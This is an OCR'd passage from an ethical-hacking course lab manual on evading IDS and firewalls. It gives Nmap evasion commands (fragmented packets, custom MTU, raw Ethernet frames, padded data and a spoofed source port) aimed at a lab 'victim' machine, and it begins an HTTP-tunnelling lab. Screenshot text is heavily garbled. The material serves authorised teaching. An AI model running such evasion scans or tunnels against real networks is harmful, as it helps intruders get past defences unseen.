/ ixit: Shuts down the
KFSensor Monitor. If the
KFSensor Server if not
installed as a systems
service then it will be shut

down as well.

Module 12 - Evading IDS, Firewalls, and Honeypots

38. Seeing this port open, you can take proper security measures to close the port,
thereby preventing intruders from connecting to this machine from outside.

sor Professional - Evaluation Tl 0

File View Scenario Signatures

s e o€ dEn

=) j kfsensor - localhost - Main ... A

=48 TCP
qj 0 Closed TCP Ports
£ 1 port ti

-} 19 chargen - Activity
® 21 FTP - Recent Ac...

Settings Help
F=kE U Raea@m RN
D Start Duration Pro... Sensor.. Name
2063 11/7/2017 5:02:50 AM.... 0.001 TCP 23 Telnet

Runninn far

({) 23 Telnet - Recent .

% 25 SMTP

& 42 WINS ¥
< >
Name Value (a)
Sensor kfsensor
Last status 11/7/2017 5:03:13
Status Active
Running since  11/7/2017 3:5&54
Last restart 11/7/2017 5:01:44

1 haure and 4 min

v
> < >
FIGURE 3.23: Telnet data on KFSensor

39. The above image also displays the data of a Death Trojan on port 2. Seeing
this port open, a network administrator can add a firewall rule to block port
2, thereby securing the system from being affected by Death Trojan.

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s security posture and exposute.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Intemnet Connection Required

[0 Yes M No
Platform Supported
M Classroom O iLabs
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Module 12 - Evading IDS, Firewalls, and Honeypots

Bypassing Windows Firewall using
Nmap Evasion Techniques

Nmap offers many options for Firewall evasion, which we explore in this lab.
Lab Scenario

Firewalls and IDSs are intended to avoid port scanning tools, such as Nmap,
from getting a precise measure of significant data of the frameworks which
they're ensuring. Indeed, we ought not be concerned about this to a certain
degree, on the grounds that Nmap has numerous featutres created specially to
bypass these protections. It has the ability to issue you a mapping of a system
framework, by which you can see everything from OS renditions to open ports.
Firewalls and interruption recognition frameworks are made to keep Nmap and
other applications from obtaining that data.

As a penetration tester, you will come across systems behind firewalls that
prevent you from getting the information you want. So, you will need to know
how to avoid the firewall rules in place, and to glean information about a host.
This step in a penetration test is called Firewall Evasion Rules.

Lab Objectives
The objective of this lab is to help students learn how to bypass a firewall using
Nmap.

Lab Environment
To complete this lab, you will need:

= A computer running Window Server 2016

= Kali Linux running in Virtual machine (Attacker machine)
*  Windows 10 running in virtual machine (Victim machine)
= A web browser with Internet access

=  Administrative privileges to run tools
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TASK 1

Turn on Windows

Firewall in Victim
Machine

Module 12 - Evading IDS, Firewalls, and Honeypots

Lab Duration

Time: 10 Minutes

Overview of Lab

Network obsttuctions such as firewalls can make mapping a network exceedingly

difficult. To make things more difficult, stifling casual reconnaissance is often a key
goal of implementing the devices.

Lab Tasks

1. Before running this lab, log into the Windows 10 virtual machine, and
open the Control Panel; in the All Control Panel Items window, click
Windows Firewall.

2. The Windows Firewall window appears; click Use recommended
settings to turn on Firewall.

& Windows Firewall - a 573
« v P ﬂ » Control Panel » All Control Panel ftems » Windows Firewall v O Search Cantrol Panel »r

P T Help protect your PC with Windows Firewall

Windows Firewall can help prevent hackers or malicious software from gaining access to your PC
Aliow an app or feature through the Internet or a network.

through Windows Firewall

& Change notffication settings Update your Firewall settings
@ Turm Windows Firewall on or Windows Firewall is not using the
off recommended settings to protect your
& Restore defaults computer.
& Advanced settings What are the recommended settings?

FIGURE 4.1: Windows 10 Firewall-Use Recommended Settings

3. Observe that the Windows Firewall State is On,

WP Windows Firewall - o
« v 4 @ » ControlPanel » All Control Panelltems » Windows Firewall v U Search Control Pzne P
i e Help protect your PC with Windows Firewall
Windows Firewall can help prevent hackers or malicious software from gaining access to your PC
Allows an 2pp or feature through the Intemet or a network.,
through Windows Firewell
& Change notification settings l o Private networks Connected |

® Tum Windows Firewall on or -
off Networks at home or work where you know and trust the people and devices on the network

& Restore defaults

Windows Firewall state:
& Advanced settings 4 . 0
Incoming connections: Block all connections to apps that are not on the
Troubleshoot my network list of allowed apps

Active private networks: ¥ Network 2

Notification state: Notify me when Windows Firewall blocks a new
app

. 9 Guest or public networks Not connected

FIGURE 4.2: Windows 10 Firewall-Turned On

4. Switch back to the Kali Linux machine, launch a command terminal
window, type the following command nmap -v -sS -T5 <IP Address of
the Victim Machine> and press Enter.
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H task 2

Perform
TCP SYN Scan

Module 12 - Evading IDS, Firewalls, and Honeypots

In this lab, the victim machine’s IP address is 10.10.10.10 (Windows 10),

5.
which may vaty in your lab environment.

6. 'The -v switch is used to increase the verbose level, the -s8 switch is used
to perform TCP SYN scan, and the -T is used to setting a time template
to perform scan.

7. 'This command provides you with the TCP SYN scan output, as shown
in this screenshot of the targeted machine (i.e., Windows 10).

I root@kali: ~ (OB ]

File Edit View Search Terminal Help

i~# nmap -v -sS -T5 10.10.10.10

starting Nmap 7.60 ( https://nmap.org ) at 2017-11-87 23:18 EST
Initiating P Ping Scan at 23:10

scanning 10.10.10.10 [1 port]

Completed ARP ng Scan at 10, 0.20s elapsed (1 tota
Initiating Parallel DNS resolution of 1 host. at 2 (¢]
Completed Parallel DNS resolution of 1 host. at 23:10, 0.0
nitiating SYN Stealth Scan at 23:10

scanndrn 10.10.10.10 [1000 ports]

)yiscovered open port 3389/tcp on 10.10.10.10

Discovered open port 5357/tcp on 10.10.10.18

Completed SYN Stealth Scan at 23:10, 8.45s elapsed (1000 total ports)

imap

n report for 10.10.10.10

fost is up latency).

ot

shown: 998 filtered ports
STATE SERVICE
ms-wht-server
wsdapi

1AC Addr : 09:15:5D:00:39:03 (Microsoft)

Read

data files from: /usr/bin/../share/nmap

imap done: 1 IP addre (1 host up) scanned in 8.81 second

8.

9.

Raw pack nt: 3004 (132.144KB) | Rcvd: 9

FIGURE 4.3: Nmap scan for TCP SYN

Type nmap -v -sS -f -T5 <IP Address of the Victim Machine> and press
Enter.

In this command, we are adding an additional switch -f which causes the
requested scan (including ping scans) to use tiny fragmented IP packets
to be sent to the victim machine. This option can bypass the packet
inspection of firewalls.
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Module 12 - Evading IDS, Firewalls, and Honeypots

Completed ARP Ping Scan at 23:12, 0.

root@kali: ~

File Edit View Search Terminal Help
# nmap -v -s5 -f -T5 10.10.10.10

tarting Nmap 7.60 ( https://nmap.org ) at 2017-11-07 23:12 EST
itiating ARP Ping Scan at 23:12
scanning 10.10.10.10 [1 port]
20s elapsed (1 total hosts)
witiating Parallel DNS resolution of 1 host. at 23:12
ted Parallel DNS resolution of 1 host. at , 0.02s elapsed
yitiating SYN Stealth Scan at 23:12
anning 10.10.10.10 [1000 port
)yiscovered open port 3389/tcp on 10.10.10.10
scovered open port 5357/tcp on 10.10.16.10
pleted SYN Stealth Scan at 23:12, 8.01s elapsed (1000 total ports)
imap scan report for 10.10.10.10
ost is up (-0.068s latency).

Not shown: 998 filtered ports

'ORT STATE SERVICE
3389/tcp open ms-wbt-server

5357/tcp open wsdapi

1AC Address: 00:15:5D:00:39:03 (Microsoft)
Read data files from: /usr/bin/../share/nmap
nap done: 1 IP address (1 host up) scanned in B.29 seconds
sent: 3004 (132.144KB) | Rcvd: 9 (380B)
FIGURE 4.4: Nmap scan for Fragment packets
10. Type nmap -v -sS -f --mtu 32 -T5 <IP Address of the Victim Machine>
and press Enter.

11. The --mtu switch is used to set a specific Maximum Transmission Unit
to the packet, so it specifies mtu as 32 packets in this command. If you
want set an MTU, it should be multiple of 8 (8, 16, 24, 32, etc.).

12. In this command, during the scan, Nmap will create packets of a size
based on a user-provided number.

13. In the screenshot below, we provided a packet size of 32 so that Nmap
will create packets of 32 bytes causing confusion for the firewall.

root@Kkali: ~ e ® O
File Edit

View Search Terminal Help
:~# nmap -v -sS -f --mtu 32 -T5 10.10.10.16

ing N 7.60 ( https://n org ) at 2017-11-07 23:13 EST
itiating ARP Ping Scan at
scanning 10.10.10.10 [1 port]
Completed ARP Ping Scan at 23: 0.20s elapsed (1 total hosts)
Initiating Paral DNS resolution of 1 host. at 23:13
ompleted Parallel DNS resolution of 1 host. at 23:13, 0.84s elapsed
Initiating SYN Stealth Scan at 23:13
>canning 10.10.10.10 [1000 ports]
overed open port 3389/tcp on 10.10.10.10
iscovered open port 5357/tcp on 16.10.10.10
Jarning: 10.10.10.10 giving up on port because retransm ion cap hit
ompleted SYN Stealth Scan at 23: 8.565 elapsed (1000 total ports)
imap scan report for 10.10.10.10
{ost up (-0.6852s latency).
lot shown: 998 filtered ports
20 STATE SERVICE
3 /tcp open ms-wbht-server
57/tcp open wsdapi
1AC Address: 00:15:5D:00:39:03 (Microsoft)

data files /UST/ are/nmap
map done: 1 IP | 55 3 p scanned in 8

FIGURE 4.5: Nmap scan for Maximum Transmission Unit
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EH rtask 3

Launch Wireshark

Module 12 - Evading IDS, Firewalls, and Honeypots

14. Type nmap -v -sS -f --mtu 32 --send-eth -T5 <IP Address of the Victim
Machine> and ptess Enter.

15. ~send-eth ensures that Nmap actually sends Ethernet level packets, and
will bypass the IP layer and send raw Ethernet frames within the traffic.

root@kali: ~ e o0

File Edit View Search Terminal Help
#/nmap -v -sS -f --mtu 32 --send-eth -T5 10.10.10.16

>tarting Nmap 7.60 ( https://nmap.org ) at 2017-11-07 23:17 EST
itiating ARP Ping Scan at 23:17

canning 10.10.10.16 [1 port]

Completed ARP Ping Scan at 23:17, 0.20s elapsed (1 total h s)

ating Parallel DNS resolution of 1 host. at 23:17

“ompleted Parallel DNS resolution of 1 host. at 23:17, 0.03s elapsed
tiating SYN Stealth Scan at 23:17

anning 10.10.10.10 [1600 ports]

)iscovered open port 3389/tcp on 10.10.10.10

)yiscovered open port 5357/tcp on 10.10.10.18
rning: 10.10.10.160 giving up on port because retransmission cap hit (2).
ompleted SYN Stealth Scan at 23:17, 10.14s elapsed (1000 total ports)

\map scan report for 10.10.10.10

fost is up (-6.045s latency).

Not shown: 998 filtered ports

'ORT STATE SERV

3389/tcp open ms-wbt-server

»357/tcp open wsdapi

IAC Address: 00:15:5D:00:39:03 (Microsoft)

d data files fro /usr/bin/../share/nmap
imap done: 1 IP address (1 host up) scanned in 10.45 seconds

FIGURE 4.6: Nmap scan for Send Packets through Ethernet
16. Now, launch Wireshatk on the Kali Linux machine to obsetve the

packets. To launch Wireshark, open a new command terminal, type
wireshark and press Enter.

root@kali: ~ e 0 o'

File Edit View Search Terminal Help

FIGURE 4.7: Launch Wireshark

17. The Error during loading pop-up appears; click OK to continue.

Wireshark 0?

Lua: Error during loading:
[string "/usr/share/wireshark/init.lua"]:44: dofile has been

disabled due to running Wireshark as superuser. See https://
wiki.wireshark.org/CaptureSetup/CapturePrivileges for help in
running Wireshark as an unprivileged user.

FIGURE 4.8: Error during loading
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Module 12 - Evading IDS, Firewalls, and Honeypots

18. The Wireshatk main window appears; now, choose the Interface to
capture the traffic, and double-click to start capturing traffic.
“The Wireshark Network Analyzer 0 0
Flle Eot View Go Capture Analyze Statistics Telephony Wireless Tools Help
BI@DTIRTE Q «» 0« s Q@ 7

Apply a display fitter ... <Ctri-/> = '| .

Capture

Lusing this fitter: | W |Enter a capture fiter = Allinterfaces shown =

Losphack: o
rflog
réqueus
@ Cisco remote capture: clsco
@ Random packes generator: randpit
@ SSH remote capture: ssh
@ UDP Listener remote capture: udodump -

Learn
User’s Guide « Wiki = Questions and Answers  Mailing Lists
You are running Wireshark 2.4.1 (G Rev Unknawn from uninown).

Lz Resay o loag oc caprure. o Packets Protie Defous_ |

FIGURE 4.9: Wireshark Starts capturing Traffic

19. Now, Wireshark will open in capturing mode, as shown in the screenshot,
and return to the nmap command terminal window.
o 58]

lle Edt View Go Capture Analyze Statistics Telephony Wweless Tools Help
WA BTRE Qer e =aaa

I Aopty 8 display filter .. <Ctri-/>

Time Saurce

239.255.255.250

18
333.403219148 16 F 239.255.255.250 SSDP 179 M-SEARCH *
4 36.406117422 1@ -10.1 239.255.255.250 SSDP 179 M-SEARCH *
5 36.657534062 10.10.10.1 239.255.255.250 SSDP 215 M-SEARCH *
6 37.656511823 16.10.10.1 239.255.255.258 SSOP 215 M-SEARCH *
7 36.656678341 16.10.10.1 239.255.255.250 SSOP 215 M-SEARCH *
8 39.413207475 16.10.10.1 239.255.255.250 SSoP 179 M-SEARCH *
9 39.660919157 16.16.10.1 239.255.255,259 ssoP 215 M-SEARCH *

D
» Frame 1: 82 bytes on wire (656 bits), 82 bytes captured {656 bits) on interface @ i

» Ethernet II, Src; Micrasof_88:39:03 {99:15:5d:60:39:93), Dst; IPvdncast_fd (91:69:5¢:60:00:fd)
b Intcrnet Protocol Version 4, Src: 18.19,16.18, Dst: 224.8.8.253 i
user Datagran Protocal, Src Port: 51754, Dst Port: 3544 -
@1 66 5c B9 Db fd 80 15 5d 09 39 D3 98 66 45 86 ..M., 1.9...E. -

66 44 7b 76.00 00 ©1 11 49 20 0a 0a 9a Ga €@ 60  .D{x.... I ..

@6 fd ca 2a Bd d8 89 36 6f 29 6D D BY GG @4 68 ...%...® .} 3
.7 eth. sive capture n progrese:. Faskits: 8. Displanedi 9 L100.0%) __ Protie: Defaukt, 4

FIGURE 4.10: Wireshark Dashboard

20. Type nmap -v -sS -f -mtu 32 -send-eth -data-length 500 -T5 <IP
Address of the Victim Machine> and press Enter.

21. Nmap normally sends minimalist packets containing only a header; here,
we are setting a data length up to 500.

22. The TCP switches are genetally 40 bytes and ICMP echo requests ate just
28; some of the UDP ports and IP protocols will get a custom payload
by default.
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Module 12 - Evading IDS, Firewalls, and Honeypots

23. So this switch will append the given number of random bytes to most of
the packets it will send, and will not use any protocol-specific payloads.

root@kali: ~ e 00

File Edit View Search Terminal Help

# nmap -v -sS -f --mtu 32 --send-eth --data-length 560 -T5 10.10.10.10

Starting Nmap 7.60 ( https: map.org ) at 2017-11-07 23:
tiating ARP Ping Scan at 23:27
Scanning 10.10.10.10 [1 port]
Completed ARP Ping Scan at 23:27, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:27
Completed Parallel DNS resolution of 1 host. at 23:27, 0.02s elapsed
Initiating SYN Stealth Scan at 23:27
can g 10.10.10.10 [1000 ports]
Discovered open port 3389/tcp on 10.10.10.10
covered open port 5357/tcp on 10.10.10.10
Completed SYN Stealth Scan at 23:27, 7.96s elapsed | total ports)
imap scan report for 10.10.10.10
Host is up (-0.068s latency).
lot shown: 998 filtered ports
PORT STATE SERVICE
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
1AC Address: 00:15:5D:0 9:03 (Microsoft)

Read data files from: fusr/bin/../share/nmap
imap done: 1 address (1 host up) scanned in 8.26 seconds
aw sent: 3004 (1.633MB) Rcvd: 9 (386B)
FIGURE 4.11: Nmap scan for sending data length packets
24. Now, maximize the Wireshark window, navigate to Capture, and click
Stop to stop the running capture.

Capturing from othd 60
less Tools Help

= —

|
N 1 +| Expression.. 4
No. Protecol  Length Info 9
W IPv6 82 1Pv6 no next header ]
SSDP 1 \RCH
3 SSOP
4 - SSOP
536.657534962 16.10.10.1 SS0P
6 37.658511823 16.16.10.1 ssop
16.18.1 SsSoP
.18.18.1
.16.18.1
18.18.1
18.10.1
10.10.1
10.10.1
.10.10.1
.10.10.1
10.19.1 M-SEARCH * /1, 3

3
b Frame 1: B2 bytes ire (656 bits), 82 byles caplured (658 bils) on interface 6 -
» Ethernet II, Src: Microsof 60:39:03 (98:15:5d:00:39:063), Dst: IPvancast fd (51:66:5e:00:00:7d)

» Internet Protocol Version 4, Src: 19.18.16.16, Dst: 224.9.9.253

» User Datagram Protocol, Src Port: 51754, Dst Port: 3544 E

€1 6@ Se 00 B0 Td Sd 60 39 83 ee as eo « C |
44 7b 78 BB BY 49 28 Ba ba €@ 88 .D{;
fd ca 2a 0d d6 Of 29 60 99 99 €¢ 66 00 -

Profile: Default

Dis

L0 7 eth: clive capture o progress> Packets: 51050

FIGURE 4.12: Wireshark Need to stop the capture
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Module 12 - Evading IDS, Firewalls, and Honeypots

25. Watch the TCP SYN packets traverse through the attacker machine and
on to the victim machine. Observe the frame size and data bytes sent to
the victim machine.

ile ot View Go Capture Analyze Statistics Telephory Weless Tools Help

(|8 IR DERE Q«>oeas @ q @ 5
Apply a display filter ... <Ctrl-f> £3 -] o +
No.  Tme  Sowee Destnation Protocal _Length Info T
49 19.506977624  16.10.10.11 16.16.10.18 pva 6 Fraguented 1P protocel (prato-1ce
4119508979124 16.10.10.11 10.10.10.19 1pv4 66 Fraguented IP protocol (proto=TcP |
506980624 16.10. 1Pv4 88 Eragnented Ip protocol. (proto=Tce ]

IPvd 66 Fragnmented IP

. 506981924

506086324

Pva P 1
46 19.506987924 16.160.10.11 16.16.10.19 IPva 66 Fragmented IP protocel (prot |
A7 19.5065985424  16.160.18.11 16.16.18.18 TPva 66 Fragmented TP protocol (prat {
4B 19.5D6992724 16.168.18.11 16.168.18.18 1Pva &6 Fragnented IP protocel (prato=7cP 1
49 19.5D59834824 16.10.18.11 16.16.18.10 1Pva 6 Fragnented IP protocel (prata=1CP |
50 19.586985324 16.10.10.11 16.10.19.18 1Pvd &6 Fragnented IP protocel (prolo-TCP *]
51 19.506006624 16.10.10.11 16.10.10.18 IPvd @6 Fragmented IP protocel (proto=TCP 1
52 19.506007924 10.10.10.11 10.10.10.190 IPvd 66 Fragmented IP protocol (proto~TCP |
53 19.506009224 10.10.10.11 10.10.10.10 IPvd 66 Fragmented IP —:
54 19.507999524 16.10.10.11 16.10.10.10 IPvé 66 Fragmented IP 1
55 10.507991824 16.16.16.11 16.16.10.18 IPvé 66 Fragmented IP protocol (proto=TCP .

Frame 44: 46 bytos on wirc (368 bits), 46 bytes capturcd {368 bits) on intorface 6

Ethernet 1T, Src: Microsof _68:39:85 (99:1%:5d:68:39:85), Dst: N:crosof 0D:35:83 (66:15:5d:80:39:83)
Internet Protocol Versian 4, Src: 19.18.16.11, Dst: 10.19.16.1

455731a11carde145 05. ..

€6 15 5d 96 30 B3 @@ 15 S5d 60 39 b5 98 €6 45 66  ..]1.9... 1.9...E.

Frame (16 bytes) | Reassemblod Pud (524 bytes)

FIGURE 4.13% Wireshark Captured Packets

26. Once you have observed the captured traffic through Wireshark, go to
Capture, and click Start from menu bar, so that Wireshark will start
capturing the traffic again.

QQ“\T

3 | Expressicn.  +
Protocol Length Info

IPve §6 Fragmented IP protocol (proto=TCP
Capture Filters.. Pvé 66 Fragmented IP protocol (proto=TCP

8% 4 3 od TP =T
RebaatWiteitaces = 1PV GG Fragnented IP protocol (proto=TCP

TPvd 66 Fragrented TP protocel (prat

FIGURE 4.14: Wireshark Need to Start Capture

27. The prompt Do you want to save the captured packets before starting
a new capture? appears; click Continue without Saving to start a new

capture.

Unsaved packets... (]

Do you want to save the captured packets before starting a
9 new capture?

Your captured packets will be lost if you don't save them.

[Continue githout Saving]| Cancel Save

FIGURE 4.15: Continue without saving option
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Module 12 - Evading IDS, Firewalls, and Honeypots

28. Type nmap -v -sS -f -mtu 32 -send-eth --data-length 50 --source-port
99 -T5 <IP Address of the Victim Machine> and press Enter.

29. -source-port is used to spoof the source pott number. We are providing
port 99, through which Nmap will send the packets. Most of the scanning
operations will use raw sockets that include SYN and UDP scan.

root@kali: ~ e °_]

Fie Edit View Search Terminal Help

urce-port 99 -15 10.10.16.16 |

ating SYN

FIGURE 4.16: Specifying source port for Nmap scan

30. Now, maximize the Wireshark window, and Stop capturing traffic, as
shown in the figure below.

Capturing from ethd o0 01
Fie Edit View Go lr.\«‘yee Statistics Telephony  Wireless Tools  Help |

1 ~| Expression.,  +

Restart

Capture Filters. 0 \ at 88:15:50:00:38
3 ©.280304¢ 19,160,107 Tell 10.10.19.11
4.8,2613384 9.

FIGURE 4.17: Stop the traffic
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Module 12 - Evading IDS, Firewalls, and Honeypots

31. Expand the Transmission Control Protocol, and observe that traffic is
forwarded through the port that we have specified in the command.
B RGO
le ot Vew Go Gipure fralyze Sttitcs Telephory Wireless Tooks Help
I BB DRARE QesdwsS = aaaif

a dsplay fifter .., <Ctrl-/> 3 -| Expression..  +
Time Source Destination Protocal  Lengtn Info ="
40.201388483  16.10.10.11 8.8.5.8 NS 54 Standard query 9xda‘® PTR 10.10.10.
5 0.201485883  Nicrosof_B9:3D:83 Microsof_08;39;65 ARP 421€.16.18.16 15 at 99:15:5d:60:39:8!
5 6.264798546 8.8.8.8 16.16.18.11 DNS 84 standard query response @xdaf No °
. 7 8.26585084%

1PvA &6 Fragnented 1P protocol (prato=icP
B 0. 26550545 '

86 aqnzen &
66 Fragnente

g e 0C0. o P
d IP protocol (proto=TCP

110.265674845  10.10.10.11 119.10.10

13 0.265862845 16.10.10.11 .10.10.19 66 Fragmented IP protocol (proto=TCP -
14 0.265886345  16.16.10.11 16.16.10.19 Ipvé 66 Fragrented IP protocel (proto=TCP
15 8.265889245  16.18.18.11 16.16.18.18 NBSS 44 XBSS Continuation Mcssage

16 B.265852845  16.16.18.11 16.18.18.18 1Pva @6 Fragmented TP protoce] (prato=TCP
17 B.765B87/84%  16.168.18.11 16.18.18.18 1Pva

46 Fragnented [P protocol (prato=ice

19 0.265805245

16.10.10.11 16.10.10.18 €6 Fraguented 1P protocel (prolo-1ce
| s

Frame 9: 44 bytes on wire (352 bits), 44 bytes caplured (352 bils) on interTace @ »
» Ethernet II, Src: Microsof_00:39:05 {90:15:5d:00:39:05), Dst: Microsof_08:39:83 (66:15:50:00:39:03)
Internet Protocol Version 4, Src: 18.19.16.11, Dst: 10.19.16.16

Source Port: 09
Destination Port: 88
Strean_index: 8

O0F @6 15 5d 60 39 B3 @8 15 S5d 00 39 B5 A0 @6 45 66 ..].8... ].9...E.

7777777777 h_. min = h “. l‘ mﬂ l‘m “ ml nlﬁ.
FIGURE 4.18 Observe the Source port

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s secutity posture and exposure thtrough public and free information.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

temet Connection Required

O Yes M No
Platform Supported

M Classroom M iLabs
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Module 12 - Evading IDS, Firewalls, and Honeypots

Bypassing Firewall Rules using
HTTP/FTP Tunneling

HTTPortis a program from HT T Host that creates a transparent tunnel through a
proxcy server or firewall.

Lab Scenario

Attackers are always looking for users who can be easily compromised, so that
they can enter networks by IP spoofing to steal data. Hackers can get packets
through firewalls by spoofing IP addresses. If attackers are able to capture
network traffic—as you have learned to do in the previous lab—they can perform
Trojan attacks, registry attacks, password hijacking attacks, and so on, which can
prove disastrous for an organizations’ network. Attackers may use a network
probe to capture raw packet data and then use that to retrieve packet information
such as source and destination IP addresses, ports, flags, header lengths,
checksums, time to live (TTL), and protocol type.

Thus, as a network administrator, you should be able to identify attacks by
extracting information from captured traffic such as source and destination IP
addresses, protocol type, header length, source and destination ports, and so on,
and compare these details with modeled attack signatures to determine if an
attack has occurred. You can also check attack logs for lists of attacks, and take
evasive actions.

Also, you should be familiar with HI'TP tunneling technique, by which you can
identify additional security risks that may not be readily visible by conducting
simple network and vulnerability scanning, and determine the extent to which a
network IDS can identify malicious traffic in a communication channel. In this
lab, you will learn HT'TP tunneling using HI'TPort.

Lab Objectives

This lab will show you how networks can be scanned, and how to use HTTPort
and HTTHost to bypass firewall resttictions and access files.
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Lab Environment
In this lab, you will need the HT'TPort tool.

Server (1IS) Role

HTTPort is located at Z:\CEH-Tools\CEHv10 Module 12 Evading IDS,
Firewalls, and Honeypots\HTTP Tunneling Tools\HTTPort

You can download the latest version of HTTPort from the link
httpJ/www.targeted.org/htthost

If you decide to download the latest version, then screenshots shown in

"7Tools the lab might differ
demons trithd i * Install HTTHost on Windows Server 2012 Virtual Machine
this lab are
available in = Jnstall HTTPort on Windows Server 2016 Machine
:.:‘:s'\:EH vi0 = Follow the wizard-driven installation steps and install it.
Module 12 = Administrative privileges are required to run this tool
Evading IDS, i A X 3
Firewalls, and = 'This lab might not work if remote server filters/blocks HTTP tunneling
Honeypots packets
Lab Duration
Time: 20 Minutes
Overview of HT TPort
HTTPort creates a transparent tunnel through a proxy server or firewall. HTTPort
allows using all sorts of Internet software from behind the proxy. It bypasses HTTP
proxies and HTTP, firewalls, and transparent accelerators.
Lab Tasks
Brask 4 1. Loginto the Windows Server 2012 virtual machine.
Installing Web

B8 Windows Server 2012R2

FIGURE 5.1: Windows Server 212 Desktop view
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2. Wait for the Server Manager to start.

Rs: Server Manager

Copyrght & 2012 Micreselt Corpeeation. All nghts reserved.

H® Windows Server 2012R2

FIGURE 5.2 Launching Server Manager

3. 'The Server Manager window appears; click Add roles and features.

TaAPERN

e Manaaer
erver Man * Dashboard

WELCOME TO SERVER MANAGER

& a fiaure tt
NS g

Fi2 and Storage Servicss b

WHATS NEW

LEAKI MORE

ROLES AND SERVER GROUPS

W AoDs 1 2 DNs 1
® oo Wansgoabilty

! A
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Module 12 - Evading IDS, Firewalls, and Honeypots

4. 'The Add Roles and Features Wizard window appears; click Next.

DESTINATION SERVER
VAN-OIAQTQIEPALCEH com

Before you begin

nstallstion Type

This wizard helps you install roles, role services, or features. You determine which roles, role services, or
features to install based on the computing needs of your organization, such as sharing documents, or
hosting a website,
Server Selection

> To remove roles, role services, or features:
Start the Remove Roles and Features Wizard

Before you continue, verify that the following tasks have been completed:

* The Administrator account has 3 strong password

* Network settings, such as static |P addresses, are configured

* The most current security updates from Windows Update are instalied
I you must verify that any of the p g prereq
complete the steps, and then run the wizard again,

have been

close the wizard,

To continue, click Next.

[C] Skip this page by default

Install

|| Cancel

FIGURE 5.4: Adding rols in Sever Manager

5. 'The Select installation type section appeats; sclect Role-based or feature-
based installation radio button and click Next.

DESTINATION SERVER

Select installation type WIN-QJAQTQJBPALCEH com

Select the installation type. You can install roles and features on a running physical computer or virtual

Before You Begin
machine, or on an offline virtual hard disic (VHD).

® Role-based or feature-based installation

Server Selection
Segs Configure a single server by adding roles, role services, and fumm:]

) Remote Desktop Services installation
Install required role services for Virtual Desktop Infrastructure (VDI) to create a virtual machine-based
or session-based desktop deployment.

| <Previous | [ Next> ) instal Corcel |

FIGURE 5.5: Adding roks in Sever Manager
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6. The Select destination server scction appears; click Next.

B
. . DESTINATION SERVER
Select destination server YN OIAGTQUEPA Coreom
Before You Begin Select a server or a virtual hard disk on which to install roles and features,
nstallation Type ® Select a server from the server pool
O Select a virtual hard disk
Server Roes Server Pool
Featurss |
Filter; | 1
Name P Address Operating System |

1 Computer(s) found

This page shows servers that are running Windows Server 2012, and that have been added by using the
Add Servers command in Server Manager. Offline servers and newdy-addsd servers from which data
collection is still incomplete are not shown.

< Pravious l Next > | Instal] ‘ Cancel
FIGURE 5.6: Add Roles and Features Wizard

7. Under Select server roles, check Web Server (1IS), and click Next.

- DESTINATION SERVER
Select server roles UANOIAQTQUE9A: CEH .
sefore You Begin Select one or more roles to install on the selectad server
nstaliavon Type Roles Description
Sty Salic e [7] Active Directory Certificate Services 9 Web Server (1IS) provides a reliable.
[Z] Active Directory Domain Services managesbie, :‘d scolobe Web,
extires ] Active Directory Federation Services Spplcation infrctiocsore
: ] Active Directory Lightweight Directory Services
Confirmation [ Active Directory Rights Management Services
] Device Health Attestation
L] DHCP Server
[] DNS Server
[] Fax Server

[m] Fite and Storage Services (1 of 12 installed]
] Host Guardian Service

L Hyper-v

1 MultPoint Services

] Network Policy and Access Services

[] Print and Document Services

] Remote Access

["] Remote Desktop Services

mRY ivation Services

loyment Services

IT"'"‘TH Ned> | | instal \[W]

FIGURE 5.7: Select Server Rokes section
Note: If the Add Roles Wizard dialog box appears, click Add Required Features.

CEH Lab Manual Page 1050 Ethical Hacking and G Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Module 12 - Evading IDS, Firewalls, and Honeypots

8. 'The Introduction to Web Server (IIS) pane appears; click Next.

Add features that are required for Web Server (lIS)?

The following tools are required to manage this feature, but do not
have to be installed on the same server.

4 Web Server (IIS)
4 Management Tools
[Tools] IS Management Console

[V Include management tools (if applicable)

=) =]

FIGURE 5.8 Introduction to Web Server (I1S) section

9. 'The Select features scction appears; check Management OData I1S
Extension box and click Next.

Select features W R eon

sefore You Begin Select one or more features to install on the selected sarver,

nstzllation Type Features Description
[A]  Management OData IIS Extension s
L] Data Center Bridging a framework for easily exposing
[ Direct Piay Windaws PawerShell cmdiets

through an ODATA-based web

Enhanced Stora;
=) o service running under lIS. After

Confirmation
" [ Failover Clustering ®|  enabling this feature, the user must
¥l Group Poficy Management provide a schema file (which
] 115 Hostable Web Core contains definitions of the resources
1o be exposed) and an
[[] Ink and Handwriting Services pase Vo of catback
[] Internet Printing Client interfaces to make the web service
[T 1P Address Management {IPAM) Server functional.
(] iSNS Server service
] LPR Port Monitor
[ Media Foundation ]
[ Message Queuing (1 of 7 installed) |
vl
[<I " 'K
FIGURE 5.9: Configuring Role Services

Note: If the Add Roles Wizard dialog box appears, click Add Required Features.
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10. In the Confirmation pane, click Install.

Confirm installat

Before You Begin

nstallstion Type
Server Selection
Server Roles

Featuras

ion selections DESTINATION SERVER

VAN-OIAQTQUSPALCEH com

To install the following roles, rofe services, or features on selected server, click Install.

["] Restart the destination server automatically if required

Optional features (such as administration tools) might be displayed on this page because they have
been selected sutomatically, If you do not want to install these optional festures, click Srevious to clear
their check boxes.

Management OData IIS Extension A
Web Server (lIS)
FTP Server L
FTP Edtensibility
Management Toals
1iS & Management Compatibility
S 6 Scripting Tools
IS 6 WMI Compatibility
Management Service
IS Management Scripts and Toals

Export configuration settings
Specify an altemate source path

« Previous Next » l Install l Cancel

11. Wait for the

FIGURE 5.10: Confirmation section

selected roles to be installed.

Installation progress OESTINATION SERVER

WIN-DJAQTQIERAI CEH com

View installation progress

© Festue instaliation
Cre—
Installation started on WIN-OJAQ7QISPALCEH com

Management OData I1S Extension A
Web Server (IIS)
FTP Server L
FTP Extensibility
Management Tools
IS 6 Management Compatibility
1IS 6 Scripting Tools
115 6 WMI Compatibility
Management Service
IS Management Scripts and Tools

Wiak Sarir v

